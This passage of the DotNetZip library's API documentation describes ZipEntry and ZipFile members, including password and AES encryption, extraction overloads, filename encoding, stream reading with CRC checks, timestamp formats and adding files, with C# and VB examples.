= ZipFile.Read("EncryptedArchive.zip")) + { + // Specify the password that is used during extraction, for + // all entries that require a password: + zip.Password= "Top.Secret.No.Peeking!"; + zip.ExtractAll("extractDirectory"); + } + + + + ' Create a zip that uses Encryption. + Using zip As New ZipFile() + zip.AddFile("ReadMe.txt") + Dim e1 as ZipEntry + e1= zip.AddFile("2008-Regional-Sales-Report.pdf") + e1.Encryption= EncryptionAlgorithm.WinZipAes256 + e1.Password= "Top.Secret.No.Peeking!" + zip.Save("EncryptedArchive.zip") + End Using + + ' Extract a zip archive that uses AES Encryption. + ' You do not need to specify the algorithm during extraction. + Using (zip as ZipFile = ZipFile.Read("EncryptedArchive.zip")) + ' Specify the password that is used during extraction, for + ' all entries that require a password: + zip.Password= "Top.Secret.No.Peeking!" + zip.ExtractAll("extractDirectory") + End Using + + + + + + Thrown in the setter if EncryptionAlgorithm.Unsupported is specified. + + + ZipEntry.Password + ZipFile.Encryption + + + + The Password to be used when encrypting a ZipEntry upon + ZipFile.Save(), or when decrypting an entry upon Extract(). + + + + + This is a write-only property on the entry. Set this to request that the + entry be encrypted when writing the zip archive, or set it to specify the + password to be used when extracting an existing entry that is encrypted. + + + + The password set here is implicitly used to encrypt the entry during the + operation, or to decrypt during the or operation. If you set + the Password on a ZipEntry after calling Save(), there is no + effect. + + + + Consider setting the property when using a + password. Answering concerns that the standard password protection + supported by all zip tools is weak, WinZip has extended the ZIP + specification with a way to use AES Encryption to protect entries in the + Zip file. Unlike the "PKZIP 2.0" encryption specified in the PKZIP + specification, AES + Encryption uses a standard, strong, tested, encryption + algorithm. DotNetZip can create zip archives that use WinZip-compatible + AES encryption, if you set the property. But, + archives created that use AES encryption may not be readable by all other + tools and libraries. For example, Windows Explorer cannot read a + "compressed folder" (a zip file) that uses AES encryption, though it can + read a zip file that uses "PKZIP encryption." + + + + The class also has a + property. This property takes precedence over any password set on the + ZipFile itself. Typically, you would use the per-entry Password when most + entries in the zip archive use one password, and a few entries use a + different password. If all entries in the zip file use the same password, + then it is simpler to just set this property on the ZipFile itself, + whether creating a zip archive or extracting a zip archive. + + + + Some comments on updating archives: If you read a ZipFile, you + cannot modify the password on any encrypted entry, except by extracting + the entry with the original password (if any), removing the original entry + via , and then adding a new + entry with a new Password. + + + + For example, suppose you read a ZipFile, and there is an encrypted + entry. Setting the Password property on that ZipEntry and then + calling Save() on the ZipFile does not update the password + on that entry in the archive. Neither is an exception thrown. Instead, + what happens during the Save() is the existing entry is copied + through to the new zip archive, in its original encrypted form. Upon + re-reading that archive, the entry can be decrypted with its original + password. + + + + If you read a ZipFile, and there is an un-encrypted entry, you can set the + Password on the entry and then call Save() on the ZipFile, and get + encryption on that entry. + + + + + + + This example creates a zip file with two entries, and then extracts the + entries from the zip file. When creating the zip file, the two files are + added to the zip file using password protection. Each entry uses a + different password. During extraction, each file is extracted with the + appropriate password. + + + // create a file with encryption + using (ZipFile zip = new ZipFile()) + { + ZipEntry entry; + entry= zip.AddFile("Declaration.txt"); + entry.Password= "123456!"; + entry = zip.AddFile("Report.xls"); + entry.Password= "1Secret!"; + zip.Save("EncryptedArchive.zip"); + } + + // extract entries that use encryption + using (ZipFile zip = ZipFile.Read("EncryptedArchive.zip")) + { + ZipEntry entry; + entry = zip["Declaration.txt"]; + entry.Password = "123456!"; + entry.Extract("extractDir"); + entry = zip["Report.xls"]; + entry.Password = "1Secret!"; + entry.Extract("extractDir"); + } + + + + + Using zip As New ZipFile + Dim entry as ZipEntry + entry= zip.AddFile("Declaration.txt") + entry.Password= "123456!" + entry = zip.AddFile("Report.xls") + entry.Password= "1Secret!" + zip.Save("EncryptedArchive.zip") + End Using + + + ' extract entries that use encryption + Using (zip as ZipFile = ZipFile.Read("EncryptedArchive.zip")) + Dim entry as ZipEntry + entry = zip("Declaration.txt") + entry.Password = "123456!" + entry.Extract("extractDir") + entry = zip("Report.xls") + entry.Password = "1Secret!" + entry.Extract("extractDir") + End Using + + + + + + + ZipFile.Password + + + + The action the library should take when extracting a file that already exists. + + + + + This property affects the behavior of the Extract methods (one of the + Extract() or ExtractWithPassword() overloads), when + extraction would would overwrite an existing filesystem file. If you do + not set this property, the library throws an exception when extracting + an entry would overwrite an existing file. + + + + This property has no effect when extracting to a stream, or when the file to be + extracted does not already exist. + + + + + + + This example shows how to set the ExtractExistingFile property in + an ExtractProgress event, in response to user input. The + ExtractProgress event is invoked if and only if the + ExtractExistingFile property was previously set to + ExtractExistingFileAction.InvokeExtractProgressEvent. + + public static void ExtractProgress(object sender, ExtractProgressEventArgs e) + { + if (e.EventType == ZipProgressEventType.Extracting_BeforeExtractEntry) + Console.WriteLine("extract {0} ", e.CurrentEntry.FileName); + + else if (e.EventType == ZipProgressEventType.Extracting_ExtractEntryWouldOverwrite) + { + ZipEntry entry = e.CurrentEntry; + string response = null; + // Ask the user if he wants overwrite the file + do + { + Console.Write("Overwrite {0} in {1} ? (y/n/C) ", entry.FileName, e.ExtractLocation); + response = Console.ReadLine(); + Console.WriteLine(); + + } while (response != null && response[0]!='Y' && + response[0]!='N' && response[0]!='C'); + + if (response[0]=='C') + e.Cancel = true; + else if (response[0]=='Y') + entry.ExtractExistingFile = ExtractExistingFileAction.OverwriteSilently; + else + entry.ExtractExistingFile= ExtractExistingFileAction.DoNotOverwrite; + } + } + + + + + + The action to take when an error is encountered while + opening or reading files as they are saved into a zip archive. + + + + + Errors can occur within a call to ZipFile.Save, as the various files contained + in a ZipFile are being saved into the zip archive. During the + Save, DotNetZip will perform a File.Open on the file + associated to the ZipEntry, and then will read the entire contents of + the file as it is zipped. Either the open or the Read may fail, because + of lock conflicts or other reasons. Using this property, you can + specify the action to take when such errors occur. + + + + Typically you will NOT set this property on individual ZipEntry + instances. Instead, you will set the ZipFile.ZipErrorAction property on + the ZipFile instance, before adding any entries to the + ZipFile. If you do this, errors encountered on behalf of any of + the entries in the ZipFile will be handled the same way. + + + + But, if you use a handler, you will want + to set this property on the ZipEntry within the handler, to + communicate back to DotNetZip what you would like to do with the + particular error. + + + + + + + + + Indicates whether the entry was included in the most recent save. + + + An entry can be excluded or skipped from a save if there is an error + opening or reading the entry. + + + + + + A callback that allows the application to specify the compression to use + for a given entry that is about to be added to the zip archive. + + + + + See + + + + + + Set to indicate whether to use UTF-8 encoding for filenames and comments. + + + + + + If this flag is set, the comment and filename for the entry will be + encoded with UTF-8, as described in the Zip + specification, if necessary. "Necessary" means, the filename or + entry comment (if any) cannot be reflexively encoded and decoded using the + default code page, IBM437. + + + + Setting this flag to true is equivalent to setting to System.Text.Encoding.UTF8. + + + + This flag has no effect or relation to the text encoding used within the + file itself. + + + + + + + The text encoding to use for the FileName and Comment on this ZipEntry, + when the default encoding is insufficient. + + + + + + Don't use this property. See . + + + + + + + Specifies the alternate text encoding used by this ZipEntry + + + + The default text encoding used in Zip files for encoding filenames and + comments is IBM437, which is something like a superset of ASCII. In + cases where this is insufficient, applications can specify an + alternate encoding. + + + When creating a zip file, the usage of the alternate encoding is + governed by the property. + Typically you would set both properties to tell DotNetZip to employ an + encoding that is not IBM437 in the zipfile you are creating. + + + Keep in mind that because the ZIP specification states that the only + valid encodings to use are IBM437 and UTF-8, if you use something + other than that, then zip tools and libraries may not be able to + successfully read the zip archive you generate. + + + The zip specification states that applications should presume that + IBM437 is in use, except when a special bit is set, which indicates + UTF-8. There is no way to specify an arbitrary code page, within the + zip file itself. When you create a zip file encoded with gb2312 or + ibm861 or anything other than IBM437 or UTF-8, then the application + that reads the zip file needs to "know" which code page to use. In + some cases, the code page used when reading is chosen implicitly. For + example, WinRar uses the ambient code page for the host desktop + operating system. The pitfall here is that if you create a zip in + Copenhagen and send it to Tokyo, the reader of the zipfile may not be + able to decode successfully. + + + + This example shows how to create a zipfile encoded with a + language-specific encoding: + + using (var zip = new ZipFile()) + { + zip.AlternateEnoding = System.Text.Encoding.GetEncoding("ibm861"); + zip.AlternateEnodingUsage = ZipOption.Always; + zip.AddFileS(arrayOfFiles); + zip.Save("Myarchive-Encoded-in-IBM861.zip"); + } + + + + + + + Describes if and when this instance should apply + AlternateEncoding to encode the FileName and Comment, when + saving. + + + + + + Indicates whether an entry is marked as a text file. Be careful when + using on this property. Unless you have a good reason, you should + probably ignore this property. + + + + + The ZIP format includes a provision for specifying whether an entry in + the zip archive is a text or binary file. This property exposes that + metadata item. Be careful when using this property: It's not clear + that this property as a firm meaning, across tools and libraries. + + + + To be clear, when reading a zip file, the property value may or may + not be set, and its value may or may not be valid. Not all entries + that you may think of as "text" entries will be so marked, and entries + marked as "text" are not guaranteed in any way to be text entries. + Whether the value is set and set correctly depends entirely on the + application that produced the zip file. + + + + There are many zip tools available, and when creating zip files, some + of them "respect" the IsText metadata field, and some of them do not. + Unfortunately, even when an application tries to do "the right thing", + it's not always clear what "the right thing" is. + + + + There's no firm definition of just what it means to be "a text file", + and the zip specification does not help in this regard. Twenty years + ago, text was ASCII, each byte was less than 127. IsText meant, all + bytes in the file were less than 127. These days, it is not the case + that all text files have all bytes less than 127. Any unicode file + may have bytes that are above 0x7f. The zip specification has nothing + to say on this topic. Therefore, it's not clear what IsText really + means. + + + + This property merely tells a reading application what is stored in the + metadata for an entry, without guaranteeing its validity or its + meaning. + + + + When DotNetZip is used to create a zipfile, it attempts to set this + field "correctly." For example, if a file ends in ".txt", this field + will be set. Your application may override that default setting. When + writing a zip file, you must set the property before calling + Save() on the ZipFile. + + + + When reading a zip file, a more general way to decide just what kind + of file is contained in a particular entry is to use the file type + database stored in the operating system. The operating system stores + a table that says, a file with .jpg extension is a JPG image file, a + file with a .xml extension is an XML document, a file with a .txt is a + pure ASCII text document, and so on. To get this information on + Windows, you + need to read and parse the registry. + + + + + using (var zip = new ZipFile()) + { + var e = zip.UpdateFile("Descriptions.mme", ""); + e.IsText = true; + zip.Save(zipPath); + } + + + + Using zip As New ZipFile + Dim e2 as ZipEntry = zip.AddFile("Descriptions.mme", "") + e.IsText= True + zip.Save(zipPath) + End Using + + + + + Provides a string representation of the instance. + a string representation of the instance. + + + + Extract the entry to the filesystem, starting at the current + working directory. + + + + This method has a bunch of overloads! One of them is sure to + be the right one for you... If you don't like these, check + out the ExtractWithPassword() methods. + + + + + + + + + This method extracts an entry from a zip file into the current + working directory. The path of the entry as extracted is the full + path as specified in the zip archive, relative to the current + working directory. After the file is extracted successfully, the + file attributes and timestamps are set. + + + + The action taken when extraction an entry would overwrite an + existing file is determined by the property. + + + + Within the call to Extract(), the content for the entry is + written into a filesystem file, and then the last modified time of the + file is set according to the property on + the entry. See the remarks the property for + some details about the last modified time. + + + + + + + Extract the entry to a file in the filesystem, using the specified + behavior when extraction would overwrite an existing file. + + + + + See the remarks on the property, for some + details about how the last modified time of the file is set after + extraction. + + + + + The action to take if extraction would overwrite an existing file. + + + + + Extracts the entry to the specified stream. + + + + + The caller can specify any write-able stream, for example a , a , or ASP.NET's + Response.OutputStream. The content will be decrypted and + decompressed as necessary. If the entry is encrypted and no password + is provided, this method will throw. + + + The position on the stream is not reset by this method before it extracts. + You may want to call stream.Seek() before calling ZipEntry.Extract(). + + + + + the stream to which the entry should be extracted. + + + + + + Extract the entry to the filesystem, starting at the specified base + directory. + + + the pathname of the base directory + + + + + + This example extracts only the entries in a zip file that are .txt files, + into a directory called "textfiles". + + using (ZipFile zip = ZipFile.Read("PackedDocuments.zip")) + { + foreach (string s1 in zip.EntryFilenames) + { + if (s1.EndsWith(".txt")) + { + zip[s1].Extract("textfiles"); + } + } + } + + + Using zip As ZipFile = ZipFile.Read("PackedDocuments.zip") + Dim s1 As String + For Each s1 In zip.EntryFilenames + If s1.EndsWith(".txt") Then + zip(s1).Extract("textfiles") + End If + Next + End Using + + + + + + + Using this method, existing entries in the filesystem will not be + overwritten. If you would like to force the overwrite of existing + files, see the property, or call + . + + + + See the remarks on the property, for some + details about how the last modified time of the created file is set. + + + + + + Extract the entry to the filesystem, starting at the specified base + directory, and using the specified behavior when extraction would + overwrite an existing file. + + + + + See the remarks on the property, for some + details about how the last modified time of the created file is set. + + + + + + String sZipPath = "Airborne.zip"; + String sFilePath = "Readme.txt"; + String sRootFolder = "Digado"; + using (ZipFile zip = ZipFile.Read(sZipPath)) + { + if (zip.EntryFileNames.Contains(sFilePath)) + { + // use the string indexer on the zip file + zip[sFileName].Extract(sRootFolder, + ExtractExistingFileAction.OverwriteSilently); + } + } + + + + Dim sZipPath as String = "Airborne.zip" + Dim sFilePath As String = "Readme.txt" + Dim sRootFolder As String = "Digado" + Using zip As ZipFile = ZipFile.Read(sZipPath) + If zip.EntryFileNames.Contains(sFilePath) + ' use the string indexer on the zip file + zip(sFilePath).Extract(sRootFolder, _ + ExtractExistingFileAction.OverwriteSilently) + End If + End Using + + + + the pathname of the base directory + + The action to take if extraction would overwrite an existing file. + + + + + Extract the entry to the filesystem, using the current working directory + and the specified password. + + + + This method has a bunch of overloads! One of them is sure to be + the right one for you... + + + + + + + + + Existing entries in the filesystem will not be overwritten. If you + would like to force the overwrite of existing files, see the property, or call + . + + + + See the remarks on the property for some + details about how the "last modified" time of the created file is + set. + + + + + In this example, entries that use encryption are extracted using a + particular password. + + using (var zip = ZipFile.Read(FilePath)) + { + foreach (ZipEntry e in zip) + { + if (e.UsesEncryption) + e.ExtractWithPassword("Secret!"); + else + e.Extract(); + } + } + + + Using zip As ZipFile = ZipFile.Read(FilePath) + Dim e As ZipEntry + For Each e In zip + If (e.UsesEncryption) + e.ExtractWithPassword("Secret!") + Else + e.Extract + End If + Next + End Using + + + The Password to use for decrypting the entry. + + + + Extract the entry to the filesystem, starting at the specified base + directory, and using the specified password. + + + + + + + + Existing entries in the filesystem will not be overwritten. If you + would like to force the overwrite of existing files, see the property, or call + . + + + + See the remarks on the property, for some + details about how the last modified time of the created file is set. + + + + The pathname of the base directory. + The Password to use for decrypting the entry. + + + + Extract the entry to a file in the filesystem, relative to the + current directory, using the specified behavior when extraction + would overwrite an existing file. + + + + + See the remarks on the property, for some + details about how the last modified time of the created file is set. + + + + The Password to use for decrypting the entry. + + + The action to take if extraction would overwrite an existing file. + + + + + Extract the entry to the filesystem, starting at the specified base + directory, and using the specified behavior when extraction would + overwrite an existing file. + + + + See the remarks on the property, for some + details about how the last modified time of the created file is set. + + + the pathname of the base directory + + The action to take if extraction would + overwrite an existing file. + + The Password to use for decrypting the entry. + + + + Extracts the entry to the specified stream, using the specified + Password. For example, the caller could extract to Console.Out, or + to a MemoryStream. + + + + + The caller can specify any write-able stream, for example a , a , or ASP.NET's + Response.OutputStream. The content will be decrypted and + decompressed as necessary. If the entry is encrypted and no password + is provided, this method will throw. + + + The position on the stream is not reset by this method before it extracts. + You may want to call stream.Seek() before calling ZipEntry.Extract(). + + + + + + the stream to which the entry should be extracted. + + + The password to use for decrypting the entry. + + + + + Opens a readable stream corresponding to the zip entry in the + archive. The stream decompresses and decrypts as necessary, as it + is read. + + + + + + DotNetZip offers a variety of ways to extract entries from a zip + file. This method allows an application to extract an entry by + reading a . + + + + The return value is of type . Use it as you would any + stream for reading. When an application calls on that stream, it will + receive data from the zip entry that is decrypted and decompressed + as necessary. + + + + CrcCalculatorStream adds one additional feature: it keeps a + CRC32 checksum on the bytes of the stream as it is read. The CRC + value is available in the property on the + CrcCalculatorStream. When the read is complete, your + application + should check this CRC against the + property on the ZipEntry to validate the content of the + ZipEntry. You don't have to validate the entry using the CRC, but + you should, to verify integrity. Check the example for how to do + this. + + + + If the entry is protected with a password, then you need to provide + a password prior to calling , either by + setting the property on the entry, or the + property on the ZipFile + itself. Or, you can use , the + overload of OpenReader that accepts a password parameter. + + + + If you want to extract entry data into a write-able stream that is + already opened, like a , do not + use this method. Instead, use . + + + + Your application may use only one stream created by OpenReader() at + a time, and you should not call other Extract methods before + completing your reads on a stream obtained from OpenReader(). This + is because there is really only one source stream for the compressed + content. A call to OpenReader() seeks in the source stream, to the + beginning of the compressed content. A subsequent call to + OpenReader() on a different entry will seek to a different position + in the source stream, as will a call to Extract() or one of its + overloads. This will corrupt the state for the decompressing stream + from the original call to OpenReader(). + + + + The OpenReader() method works only when the ZipEntry is + obtained from an instance of ZipFile. This method will throw + an exception if the ZipEntry is obtained from a . + + + + + This example shows how to open a zip archive, then read in a named + entry via a stream. After the read loop is complete, the code + compares the calculated during the read loop with the expected CRC + on the ZipEntry, to verify the extraction. + + using (ZipFile zip = new ZipFile(ZipFileToRead)) + { + ZipEntry e1= zip["Elevation.mp3"]; + using (Ionic.Zlib.CrcCalculatorStream s = e1.OpenReader()) + { + byte[] buffer = new byte[4096]; + int n, totalBytesRead= 0; + do { + n = s.Read(buffer,0, buffer.Length); + totalBytesRead+=n; + } while (n>0); + if (s.Crc32 != e1.Crc32) + throw new Exception(string.Format("The Zip Entry failed the CRC Check. (0x{0:X8}!=0x{1:X8})", s.Crc32, e1.Crc32)); + if (totalBytesRead != e1.UncompressedSize) + throw new Exception(string.Format("We read an unexpected number of bytes. ({0}!={1})", totalBytesRead, e1.UncompressedSize)); + } + } + + + Using zip As New ZipFile(ZipFileToRead) + Dim e1 As ZipEntry = zip.Item("Elevation.mp3") + Using s As Ionic.Zlib.CrcCalculatorStream = e1.OpenReader + Dim n As Integer + Dim buffer As Byte() = New Byte(4096) {} + Dim totalBytesRead As Integer = 0 + Do + n = s.Read(buffer, 0, buffer.Length) + totalBytesRead = (totalBytesRead + n) + Loop While (n > 0) + If (s.Crc32 <> e1.Crc32) Then + Throw New Exception(String.Format("The Zip Entry failed the CRC Check. (0x{0:X8}!=0x{1:X8})", s.Crc32, e1.Crc32)) + End If + If (totalBytesRead <> e1.UncompressedSize) Then + Throw New Exception(String.Format("We read an unexpected number of bytes. ({0}!={1})", totalBytesRead, e1.UncompressedSize)) + End If + End Using + End Using + + + + The Stream for reading. + + + + Opens a readable stream for an encrypted zip entry in the archive. + The stream decompresses and decrypts as necessary, as it is read. + + + + + See the documentation on the method for + full details. This overload allows the application to specify a + password for the ZipEntry to be read. + + + + The password to use for decrypting the entry. + The Stream for reading. + + + + Pass in either basedir or s, but not both. + In other words, you can extract to a stream or to a directory (filesystem), but not both! + The Password param is required for encrypted entries. + + + + + Extract to a stream + In other words, you can extract to a stream or to a directory (filesystem), but not both! + The Password param is required for encrypted entries. + + + + + Validates that the args are consistent; returning whether the caller can return + because it's done, or not (caller should continue) + + + + + Validates that the args are consistent; returning whether the caller can return + because it's done, or not (caller should continue) + + + + + Reads one ZipEntry from the given stream. The content for + the entry does not get decompressed or decrypted. This method + basically reads metadata, and seeks. + + the ZipContainer this entry belongs to. + + true of this is the first entry being read from the stream. + + the ZipEntry read from the stream. + + + + Finds a particular segment in the given extra field. + This is used when modifying a previously-generated + extra field, in particular when removing the AES crypto + segment in the extra field. + + + + + At current cursor position in the stream, read the extra + field, and set the properties on the ZipEntry instance + appropriately. This can be called when processing the + Extra field in the Central Directory, or in the local + header. + + + + + generate and return a byte array that encodes the filename + for the entry. + + + + side effects: generate and store into _CommentBytes the + byte array for any comment attached to the entry. Also + sets _actualEncoding to indicate the actual encoding + used. The same encoding is used for both filename and + comment. + + + + + + Stores the position of the entry source stream, or, if the position is + already stored, seeks to that position. + + + + + This method is called in prep for reading the source stream. If PKZIP + encryption is used, then we need to calc the CRC32 before doing the + encryption, because the CRC is used in the 12th byte of the PKZIP + encryption header. So, we need to be able to seek backward in the source + when saving the ZipEntry. This method is called from the place that + calculates the CRC, and also from the method that does the encryption of + the file data. + + + + The first time through, this method sets the _sourceStreamOriginalPosition + field. Subsequent calls to this method seek to that position. + + + + + + Copy metadata that may have been changed by the app. We do this when + resetting the zipFile instance. If the app calls Save() on a ZipFile, then + tries to party on that file some more, we may need to Reset() it , which + means re-reading the entries and then copying the metadata. I think. + + + + + Set the input stream and get its length, if possible. The length is + used for progress updates, AND, to allow an optimization in case of + a stream/file of zero length. In that case we skip the Encrypt and + compression Stream. (like DeflateStream or BZip2OutputStream) + + + + + Prepare the given stream for output - wrap it in a CountingStream, and + then in a CRC stream, and an encryptor and deflator as appropriate. + + + + Previously this was used in ZipEntry.Write(), but in an effort to + introduce some efficiencies in that method I've refactored to put the + code inline. This method still gets called by ZipOutputStream. + + + + + + An enum that specifies the type of timestamp available on the ZipEntry. + + + + + + The last modified time of a file can be stored in multiple ways in + a zip file, and they are not mutually exclusive: + + + + + In the so-called "DOS" format, which has a 2-second precision. Values + are rounded to the nearest even second. For example, if the time on the + file is 12:34:43, then it will be stored as 12:34:44. This first value + is accessible via the LastModified property. This value is always + present in the metadata for each zip entry. In some cases the value is + invalid, or zero. + + + + In the so-called "Windows" or "NTFS" format, as an 8-byte integer + quantity expressed as the number of 1/10 milliseconds (in other words + the number of 100 nanosecond units) since January 1, 1601 (UTC). This + format is how Windows represents file times. This time is accessible + via the ModifiedTime property. + + + + In the "Unix" format, a 4-byte quantity specifying the number of seconds since + January 1, 1970 UTC. + + + + In an older format, now deprecated but still used by some current + tools. This format is also a 4-byte quantity specifying the number of + seconds since January 1, 1970 UTC. + + + + + + This bit field describes which of the formats were found in a ZipEntry that was read. + + + + + + + Default value. + + + + + A DOS timestamp with 2-second precision. + + + + + A Windows timestamp with 100-ns precision. + + + + + A Unix timestamp with 1-second precision. + + + + + A Unix timestamp with 1-second precision, stored in InfoZip v1 format. This + format is outdated and is supported for reading archives only. + + + + + The method of compression to use for a particular ZipEntry. + + + + PKWare's + ZIP Specification describes a number of distinct + compression methods that can be used within a zip + file. DotNetZip supports a subset of them. + + + + + No compression at all. For COM environments, the value is 0 (zero). + + + + + DEFLATE compression, as described in IETF RFC + 1951. This is the "normal" compression used in zip + files. For COM environments, the value is 8. + + + + + DEFLATE64 compression. (Decompress only). + For COM environments, the value is 9. + + + + + BZip2 compression, a compression algorithm developed by Julian Seward. + For COM environments, the value is 12. + + + + + An enum that specifies the source of the ZipEntry. + + + + + Default value. Invalid on a bonafide ZipEntry. + + + + + The entry was instantiated by calling AddFile() or another method that + added an entry from the filesystem. + + + + + The entry was instantiated via or + . + + + + + The ZipEntry was instantiated by reading a zipfile. + + + + + The content for the ZipEntry will be or was provided by the WriteDelegate. + + + + + The content for the ZipEntry will be obtained from the stream dispensed by the OpenDelegate. + The entry was instantiated via . + + + + + The content for the ZipEntry will be or was obtained from a ZipOutputStream. + + + + + An enum providing the options when an error occurs during opening or reading + of a file or directory that is being saved to a zip file. + + + + + This enum describes the actions that the library can take when an error occurs + opening or reading a file, as it is being saved into a Zip archive. + + + + In some cases an error will occur when DotNetZip tries to open a file to be + added to the zip archive. In other cases, an error might occur after the + file has been successfully opened, while DotNetZip is reading the file. + + + + The first problem might occur when calling AddDirectory() on a directory + that contains a Clipper .dbf file; the file is locked by Clipper and + cannot be opened by another process. An example of the second problem is + the ERROR_LOCK_VIOLATION that results when a file is opened by another + process, but not locked, and a range lock has been taken on the file. + Microsoft Outlook takes range locks on .PST files. + + + + + + Throw an exception when an error occurs while zipping. This is the default + behavior. (For COM clients, this is a 0 (zero).) + + + + + When an error occurs during zipping, for example a file cannot be opened, + skip the file causing the error, and continue zipping. (For COM clients, + this is a 1.) + + + + + When an error occurs during zipping, for example a file cannot be opened, + retry the operation that caused the error. Be careful with this option. If + the error is not temporary, the library will retry forever. (For COM + clients, this is a 2.) + + + + + When an error occurs, invoke the zipError event. The event type used is + . A typical use of this option: + a GUI application may wish to pop up a dialog to allow the user to view the + error that occurred, and choose an appropriate action. After your + processing in the error event, if you want to skip the file, set on the + ZipProgressEventArgs.CurrentEntry to Skip. If you want the + exception to be thrown, set ZipErrorAction on the CurrentEntry + to Throw. If you want to cancel the zip, set + ZipProgressEventArgs.Cancel to true. Cancelling differs from using + Skip in that a cancel will not save any further entries, if there are any. + (For COM clients, the value of this enum is a 3.) + + + + + The ZipFile type represents a zip archive file. + + + + + This is the main type in the DotNetZip class library. This class reads and + writes zip files, as defined in the specification + for zip files described by PKWare. The compression for this + implementation is provided by a managed-code version of Zlib, included with + DotNetZip in the classes in the Ionic.Zlib namespace. + + + + This class provides a general purpose zip file capability. Use it to read, + create, or update zip files. When you want to create zip files using a + Stream type to write the zip file, you may want to consider the class. + + + + Both the ZipOutputStream class and the ZipFile class can + be used to create zip files. Both of them support many of the common zip + features, including Unicode, different compression methods and levels, + and ZIP64. They provide very similar performance when creating zip + files. + + + + The ZipFile class is generally easier to use than + ZipOutputStream and should be considered a higher-level interface. For + example, when creating a zip file via calls to the PutNextEntry() and + Write() methods on the ZipOutputStream class, the caller is + responsible for opening the file, reading the bytes from the file, writing + those bytes into the ZipOutputStream, setting the attributes on the + ZipEntry, and setting the created, last modified, and last accessed + timestamps on the zip entry. All of these things are done automatically by a + call to ZipFile.AddFile(). + For this reason, the ZipOutputStream is generally recommended for use + only when your application emits arbitrary data, not necessarily data from a + filesystem file, directly into a zip file, and does so using a Stream + metaphor. + + + + Aside from the differences in programming model, there are other + differences in capability between the two classes. + + + + + ZipFile can be used to read and extract zip files, in addition to + creating zip files. ZipOutputStream cannot read zip files. If you want + to use a stream to read zip files, check out the class. + + + + ZipOutputStream does not support the creation of segmented or spanned + zip files. + + + + ZipOutputStream cannot produce a self-extracting archive. + + + + + Be aware that the ZipFile class implements the interface. In order for ZipFile to + produce a valid zip file, you use use it within a using clause (Using + in VB), or call the Dispose() method explicitly. See the examples + for how to employ a using clause. + + + + + + + Adds an item, either a file or a directory, to a zip file archive. + + + + + This method is handy if you are adding things to zip archive and don't + want to bother distinguishing between directories or files. Any files are + added as single entries. A directory added through this method is added + recursively: all files and subdirectories contained within the directory + are added to the ZipFile. + + + + The name of the item may be a relative path or a fully-qualified + path. Remember, the items contained in ZipFile instance get written + to the disk only when you call or a similar + save method. + + + + The directory name used for the file within the archive is the same + as the directory name (potentially a relative path) specified in the + . + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + + + This method has two overloads. + + the name of the file or directory to add. + + The ZipEntry added. + + + + Adds an item, either a file or a directory, to a zip file archive, + explicitly specifying the directory path to be used in the archive. + + + + + If adding a directory, the add is recursive on all files and + subdirectories contained within it. + + + The name of the item may be a relative path or a fully-qualified path. + The item added by this call to the ZipFile is not read from the + disk nor written to the zip file archive until the application calls + Save() on the ZipFile. + + + + This version of the method allows the caller to explicitly specify the + directory path to be used in the archive, which would override the + "natural" path of the filesystem file. + + + + Encryption will be used on the file data if the Password has + been set on the ZipFile object, prior to calling this method. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + Thrown if the file or directory passed in does not exist. + + + the name of the file or directory to add. + + + + The name of the directory path to use within the zip archive. This path + need not refer to an extant directory in the current filesystem. If the + files within the zip are later extracted, this is the path used for the + extracted file. Passing null (Nothing in VB) will use the + path on the fileOrDirectoryName. Passing the empty string ("") will + insert the item at the root path within the archive. + + + + + + + + This example shows how to zip up a set of files into a flat hierarchy, + regardless of where in the filesystem the files originated. The resulting + zip archive will contain a toplevel directory named "flat", which itself + will contain files Readme.txt, MyProposal.docx, and Image1.jpg. A + subdirectory under "flat" called SupportFiles will contain all the files + in the "c:\SupportFiles" directory on disk. + + + String[] itemnames= { + "c:\\fixedContent\\Readme.txt", + "MyProposal.docx", + "c:\\SupportFiles", // a directory + "images\\Image1.jpg" + }; + + try + { + using (ZipFile zip = new ZipFile()) + { + for (int i = 1; i < itemnames.Length; i++) + { + // will add Files or Dirs, recurses and flattens subdirectories + zip.AddItem(itemnames[i],"flat"); + } + zip.Save(ZipToCreate); + } + } + catch (System.Exception ex1) + { + System.Console.Error.WriteLine("exception: {0}", ex1); + } + + + + Dim itemnames As String() = _ + New String() { "c:\fixedContent\Readme.txt", _ + "MyProposal.docx", _ + "SupportFiles", _ + "images\Image1.jpg" } + Try + Using zip As New ZipFile + Dim i As Integer + For i = 1 To itemnames.Length - 1 + ' will add Files or Dirs, recursing and flattening subdirectories. + zip.AddItem(itemnames(i), "flat") + Next i + zip.Save(ZipToCreate) + End Using + Catch ex1 As Exception + Console.Error.WriteLine("exception: {0}", ex1.ToString()) + End Try + + + The ZipEntry added. + + + + Adds a File to a Zip file archive. + + + + + This call collects metadata for the named file in the filesystem, + including the file attributes and the timestamp, and inserts that metadata + into the resulting ZipEntry. Only when the application calls Save() on + the ZipFile, does DotNetZip read the file from the filesystem and + then write the content to the zip file archive. + + + + This method will throw an exception if an entry with the same name already + exists in the ZipFile. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + In this example, three files are added to a Zip archive. The ReadMe.txt + file will be placed in the root of the archive. The .png file will be + placed in a folder within the zip called photos\personal. The pdf file + will be included into a folder within the zip called Desktop. + + + try + { + using (ZipFile zip = new ZipFile()) + { + zip.AddFile("c:\\photos\\personal\\7440-N49th.png"); + zip.AddFile("c:\\Desktop\\2008-Regional-Sales-Report.pdf"); + zip.AddFile("ReadMe.txt"); + + zip.Save("Package.zip"); + } + } + catch (System.Exception ex1) + { + System.Console.Error.WriteLine("exception: " + ex1); + } + + + + Try + Using zip As ZipFile = New ZipFile + zip.AddFile("c:\photos\personal\7440-N49th.png") + zip.AddFile("c:\Desktop\2008-Regional-Sales-Report.pdf") + zip.AddFile("ReadMe.txt") + zip.Save("Package.zip") + End Using + Catch ex1 As Exception + Console.Error.WriteLine("exception: {0}", ex1.ToString) + End Try + + + + This method has two overloads. + + + + + + + The name of the file to add. It should refer to a file in the filesystem. + The name of the file may be a relative path or a fully-qualified path. + + The ZipEntry corresponding to the File added. + + + + Adds a File to a Zip file archive, potentially overriding the path to be + used within the zip archive. + + + + + The file added by this call to the ZipFile is not written to the + zip file archive until the application calls Save() on the ZipFile. + + + + This method will throw an exception if an entry with the same name already + exists in the ZipFile. + + + + This version of the method allows the caller to explicitly specify the + directory path to be used in the archive. 